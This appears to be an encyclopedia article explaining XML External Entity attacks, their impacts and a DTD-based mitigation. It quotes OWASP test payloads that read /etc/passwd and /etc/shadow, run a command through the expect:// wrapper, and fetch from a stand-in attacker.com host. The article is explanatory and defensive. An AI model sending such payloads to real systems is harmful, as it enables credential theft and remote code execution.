 | This article has multiple issues. Please helpimprove it or discuss these issues on thetalk page.(Learn how and when to remove these messages) (Learn how and when to remove this message)
|
XML External Entity attack, or simplyXXE attack, is a type of attack against an application that parsesXML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data,DoS attacks,server-side request forgery,port scanning from the perspective of the machine where the parser is located, and other[which?] system impacts.[1]
The XML 1.0 standard defines the structure of an XML document. The standard defines a concept called anentity, which is a term that refers to multiple types of data unit. One of those types of entities is an external general/parameter parsed entity, often shortened to external entity, that can access local or remote content via a declaredsystem identifier. The system identifier is assumed to be aURI that can be accessed by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents that is referenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of externalDTDs, externalstyle sheets, externalschemas, etc. which, when included, allow similar external resource inclusion style attacks.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, usingfile:// schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content viaHTTP requests or launching aSSRF attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-sidememory corruption issues may be exploited by dereferencing a maliciousURI, possibly allowing arbitrary code execution under theapplication account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
The application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverageDNS information to exfiltrate data through subdomain names to a DNS server under their control.[2]
The examples below are fromOWASP'sTesting for XML Injection (WSTG-INPV-07).[3]
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
When thePHP "expect" module is loaded,remote code execution may be possible with a modified payload.
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "expect://id" >]><creds><user>&xxe;</user><pass>mypass</pass></creds>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
Since the entire XML document is communicated from an untrusted client, it is not usually possible to selectivelyvalidate or escape tainted data within the system identifier in the DTD. The XML processor could be configured to use a local static DTD and disallow any declared DTD included in the XML document.
